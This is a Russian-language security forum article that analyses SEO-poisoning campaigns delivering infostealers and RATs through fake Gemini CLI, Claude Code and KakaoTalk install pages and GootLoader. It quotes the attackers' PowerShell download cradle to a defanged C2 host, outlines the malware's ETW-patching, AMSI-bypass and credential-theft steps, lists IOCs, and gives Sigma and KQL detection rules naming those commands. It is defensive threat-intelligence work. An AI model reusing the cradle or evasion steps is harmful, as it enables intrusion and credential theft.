Макрофотография миниатюрного устройства на тёмном антистатическом коврике. Экран светится надписями о SEO-отравлении, магентовый свет выхватывает гравировку на корпусе, видны паяные контакты.


Март 2026 года. Разработчик гуглит "install Gemini CLI", кликает первый результат, копирует PowerShell-команду из "инструкции" на geminicli[.]co[.]com. Через 30 секунд fileless-инфостилер уже тянет OAuth-токены, CI/CD-секреты и конфиги корпоративного VPN. В параллельном процессе честно ставится настоящий npm-пакет от Google. Пользователь видит успешную установку. SOC не видит ничего - ни одного алерта. Кампанию задокументировали аналитики EclecticIQ.

Это SEO poisoning в чистом виде: вектор доставки малвари, который корпоративные SIEM покрывают детектами на порядок хуже, чем email-фишинг. По данным IBM X-Force Threat Intelligence Index 2025, инфостилеры - 32% всех зафиксированных типов вредоносного ПО, больше чем ransomware. И доставляются они всё чаще через отравленную поисковую выдачу.

Бизнес-логика SEO-poisoning атак: pull вместо push​

Отравление поисковой выдачи и классический фишинг работают по разным моделям. Email-фишинг - push: атакующий рассылает письма и рассчитывает на клик. SEO poisoning - pull: вредоносная страница сидит в топе выдачи и ждёт, пока жертва сама придёт за решением рабочей задачи.

Понедельник, 10 утра. Разработчик ищет "install Gemini CLI", копирует команду с первого результата Google. Через 30 секунд инфостилер уже работает. Человек был в режиме доверия - решал конкретную задачу и воспринимал инструкцию как легитимную.

Для корпоративного SOC это больная тема: стандартные контроли email-фишинга (SPF/DKIM/DMARC, sandbox для вложений, mailbox-анализ) здесь бессильны. Вектор входа - браузер сотрудника, а точка компрометации - поисковый запрос, который нельзя заблокировать без потери функциональности.

По данным Verizon DBIR 2025, 26% всех подтверждённых нарушений связаны с веб-атаками. SEO poisoning даёт стабильный "top-of-funnel" поток жертв: каждый день тысячи людей ищут конкретное ПО, шаблоны документов, инструкции по настройке. Контроль над первой строчкой выдачи по запросу "download PuTTY" или "шаблон NDA" даёт конверсию в заражение, которую массовая email-рассылка не обеспечит.

Типичные цели SEO-poisoning кампаний:
  • Доставка инфостилеров - сбор учётных данных, сессий браузера, криптокошельков
  • Initial Access Broker - продажа доступа к скомпрометированной сети операторам ransomware
  • Credential harvesting - фишинговые формы для корпоративных сервисов, имитирующие реальные порталы авторизации
  • Установка бэкдоров - RAT для долгосрочного контроля (Winos4.0, SectopRAT, Oyster)

Kill chain SEO-poisoning кампании по MITRE ATT&CK​

1783716971521.webp

Полная цепочка атаки через отравление поисковой выдачи маппится на конкретные техники. Даже если первый этап практически не детектируется проактивно - последующие оставляют чёткие следы в телеметрии. Разберём каждое звено.

1. Resource Development - SEO Poisoning (T1608.006)

Атакующий регистрирует тайпсквоттинг-домены (geminicli[.]co[.]com, pc-kakaocorp[.]com), клонирует дизайн легитимных страниц, продвигает их через SEO-оптимизацию или покупку рекламных слотов в Google Ads. По данным Vectra AI, операторы GootLoader для этого компрометируют тысячи WordPress-сайтов и размещают поддельные форумные обсуждения с ссылками на вредоносные загрузки. Этап невидим для корпоративного SOC - происходит вне контролируемого периметра.

2. Initial Access - Drive-by Compromise (T1189) + Malicious Link (T1204.001)

Пользователь находит отравленный результат в поиске и переходит по ссылке. Эксплуатируется не уязвимость браузера, а доверие к поисковой выдаче - жертва сама инициирует следующий шаг. Детектируемая поверхность: DNS-запрос и HTTP-обращение к свежему домену с рабочей станции.

3. Execution - Malicious File (T1204.002) / PowerShell (T1059.001)

Способ выполнения варьируется по кампаниям:
  • PowerShell download cradle irm | iex - кампания EclecticIQ (Gemini/Claude)
  • Запуск NSIS-инсталлятора с недействительным сертификатом - кампания ASEC (KakaoTalk)
  • Загрузка архива с "юридическим шаблоном" - GootLoader
Это ключевая точка для детекта. Процесс браузера порождает дочерний процесс скриптового интерпретатора - аномалия, которая должна немедленно генерировать алерт.

4. Defense Evasion - Match Legitimate Name or Location (T1036.005)

Вредоносные домены и файлы маскируются под легитимные. Кампания EclecticIQ использует дополнительный приём: параллельная установка настоящего npm-пакета маскирует вредоносную активность. Пользователь видит реальный результат npm install и не замечает скрытого процесса. Красивый фантик.

5. Command and Control - Ingress Tool Transfer (T1105)

Второй этап пейлоада загружается с C2 в память без записи на диск. Стандартный file-based AV не сработает - нужен мониторинг ScriptBlock Logging и сетевого трафика на уровне прокси.

Разбор кампаний: как SEO poisoning malware доставляется на рабочие станции​

Отравление поисковой выдачи для разработчиков: Gemini CLI и Claude Code​

По данным отчёта EclecticIQ (март 2026), кампания таргетировала разработчиков, устанавливающих AI-ассистенты. Атакующие зарегистрировали домены geminicli[.]co[.]com и gemini-setup[.]com, позднее - claudecode[.]co[.]com и claude-setup[.]com для Claude Code. Паттерн именования единый: суффикс .co.com и конвенция -setup.com.

Цепочка заражения:
  1. Жертва ищет "install Gemini CLI" и попадает на клонированную страницу
  2. Страница предлагает скопировать PowerShell-команду "для установки"
  3. Команда через COM-объект Shell.Application запускает скрытый PowerShell-процесс (window style 0)
  4. Скрытый процесс выполняет irm events[.]msft23[.]com | iex - инфостилер загружается в память
  5. Параллельно выполняется npm install -g @google/gemini-cli - легитимная установка
Тут стоит остановиться и оценить элегантность. Инфостилер отключает ETW-телеметрию, патча PSEtwLogProvider.m_enabled, и обходит AMSI, после чего через Add-Type загружает C#-типы для P/Invoke: CredHelper вызывает CredEnumerate через advapi32.dll для кражи паролей из Windows Credential Manager, User32 снимает отпечаток экрана через EnumDisplaySettings. Тело скрипта обфусцировано ~6800 строками мусорного кода и содержит проверку строки "qemu-ga" для обнаружения sandbox-окружения.

По данным EclecticIQ, помимо кражи credential'ов кампания предоставляет атакующим arbitrary remote code execution - прямой переход к hands-on-keyboard интрузии в корпоративную сеть через скомпрометированную рабочую станцию разработчика.

IOC: geminicli[.]co[.]com, gemini-setup[.]com, claudecode[.]co[.]com, claude-setup[.]com; C2: events[.]msft23[.]com, events[.]ms709[.]com.

Доставка малвари через SEO: поддельные установщики KakaoTalk​

1783717065385.webp

По данным AhnLab Security Intelligence Center (ASEC), атакующие вывели в топ Google и Bing домен pc-kakaocorp[.]com для запроса "KakaoTalk desktop". Результат - более 5000 заражённых компьютеров.

NSIS-инсталлятор, подписанный недействительным сертификатом на имя "NetEase" (уже смешно), разворачивал многоэтапную атаку: создание файлов Verifier.exe и AutoRecoverDat.dll, добавление исключений в Windows Defender для ослабления защиты, загрузка ShellCode из GPUCache.xml / GPUCache2.xml - вредоносное ПО семейства Winos4.0. Параллельно создавался легитимный KakaoTalk_Setup.exe с ярлыком на рабочем столе - тот же трюк с "красивым фантиком", что и у EclecticIQ.

Winos4.0 давал полный контроль: скриншоты, сбор системной информации, управление файлами, выполнение произвольного кода по команде C2. Выбор конкретного C2-сервера зависел от наличия мьютексов и локальных файлов - гибкая инфраструктура с несколькими серверами управления.

IOC: pc-kakaocorp[.]com; IP: 119.28.70.225, 192.238.129.47; URL: download.i96l6[.]top.

GootLoader: вредоносные сайты в поисковой выдаче через WordPress​

По данным Vectra AI, GootLoader - один из наиболее устойчивых операторов SEO poisoning, специализирующийся на юридических и бизнес-запросах. Инфраструктура строится на тысячах скомпрометированных WordPress-сайтов с поддельными форумными обсуждениями контрактов, NDA и шаблонов документов. Пользователь ищет "шаблон соглашения о неразглашении", находит страницу с "обсуждением" и скачивает вредоносный архив. GootLoader работает как Initial Access Broker, продавая плацдарм в скомпрометированной сети операторам ransomware.

Этот вектор особенно опасен для корпоративных пользователей: юридические шаблоны - типичный рабочий запрос, который невозможно заблокировать на уровне proxy-категоризации без нарушения бизнес-процессов. Попробуйте объяснить юристам, почему им нельзя гуглить NDA.

Детектирование SEO-poisoning атак: правила для SIEM и EDR​

Заблокировать SEO poisoning до клика - задача практически невыполнимая: домены свежие, контент при сканировании выглядит легитимно (cloaking), репутационные фиды не успевают за ротацией инфраструктуры. Реальная точка детекта - поведение после клика.

Браузер порождает скриптовый интерпретатор с download cradle​

Основной паттерн кампаний типа EclecticIQ. Sigma-правило для Sysmon (EventCode 1); предусловие - Sysmon развёрнут с логированием создания процессов:
YAML:
title: Browser Spawning PowerShell Download Cradle
detection:
  parent:
    ParentImage|endswith: ['\chrome.exe', '\msedge.exe']
  child:
    Image|endswith: '\powershell.exe'
    CommandLine|contains|any: ['irm', 'iex', 'Invoke-RestMethod']
  condition: parent and child
level: high
Для Microsoft Defender for Endpoint (MDE) эквивалент через KQL в таблице DeviceProcessEvents:
Код:
DeviceProcessEvents
| where InitiatingProcessFileName in ("chrome.exe", "msedge.exe")
| where FileName == "powershell.exe"
| where ProcessCommandLine has_any ("irm", "iex", "Invoke-RestMethod")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
В CrowdStrike Falcon аналогичный запрос строится через Event Search по ProcessRollup2 с фильтром ParentBaseFileName и CommandLine. В Elastic Security 8.6+ подойдёт EQL: process where process.parent.name in ("chrome.exe", "msedge.exe") and process.name == "powershell.exe" с условием на командную строку.

Ограничение: ложные срабатывания возможны в средах, где разработчики легитимно запускают PowerShell из браузера (winget, chocolatey). Решение: baseline рабочих станций и исключения по конкретным URL-паттернам. В SOC с высокой долей DevOps-пользователей false positive rate будет заметный - без тюнинга правило быстро окажется в ignore-листе.

ETW-тампер и AMSI-обход​

При включённом ScriptBlock Logging (PowerShell Event 4104) в SIEM можно ловить строки PSEtwLogProvider, m_enabled, AmsiScanBuffer в теле скриптов. В CrowdStrike Falcon от версии 6.40 это покрывается встроенным детектом "AMSI Bypass Attempt". В Elastic Security prebuilt-правило "AMSI Provider Patching" доступно начиная с 8.6+. Детекты срабатывают уже на этапе выполнения пейлоада - не превентивно, но достаточно рано для containment.

Аномальные DNS-запросы к свежим доменам​

Мониторинг DNS-обращений к доменам со свежей регистрацией (domain age < 30 дней) от рабочих станций через корпоративный резольвер. Подозрительные паттерны:
  • Домены с суффиксами .co.com, -setup.com в комбинации с именами известного ПО
  • CDN-подобные домены, имитирующие Microsoft (msft23[.]com, ms709[.]com)
Passive DNS-фиды и интеграция с TI-платформами, имеющими данные о возрасте доменов, критичны для этого уровня детектирования SEO poisoning.

Чеклист защиты корпоративных пользователей от SEO poisoning​

Готов к передаче в работу SOC или security engineering.
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

По опыту разбора SEO-poisoning кампаний за последние полтора года вижу одну устойчивую закономерность: в большинстве SOC правила корреляции для browser-based initial access отсутствуют целиком. Email-фишинг покрыт десятками детектов, sandbox настроен, awareness-тренинги проводятся ежеквартально. А цепочка chrome.exe -> powershell.exe -> irm | iex - слепая зона.

Причина понятна: исторически SOC строился вокруг email-вектора, потому что тот доминировал годами. Но ситуация сместилась. Когда инфостилеры - треть всего зафиксированного вредоносного ПО (IBM X-Force), а доставляются они всё чаще через поисковую выдачу, детектирующий стек обязан перестраиваться.

Кампания EclecticIQ показательна: разработчик не получал фишинговое письмо - он искал рабочий инструмент. Ни один email-контроль не помог бы.

Прогноз на ближайший год: основной целью SEO poisoning станут страницы установки AI-инструментов. Gemini CLI, Claude Code, Copilot, локальные LLM - разработчики привыкли ставить всё одной командой из терминала, и эта привычка превращается в вектор supply chain-атак. Два правила из этой статьи закрывают 80% видимости за час работы - если SOC ещё не мониторит пары "браузер -> скриптовый интерпретатор", это первое, что стоит внедрить завтра утром. На codeby.net держим тред по threat hunting в группе TTP browser-based initial access - если ваш SOC работает с аналогичными цепочками через отравленную выдачу, стоит сверить подходы к корреляции.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab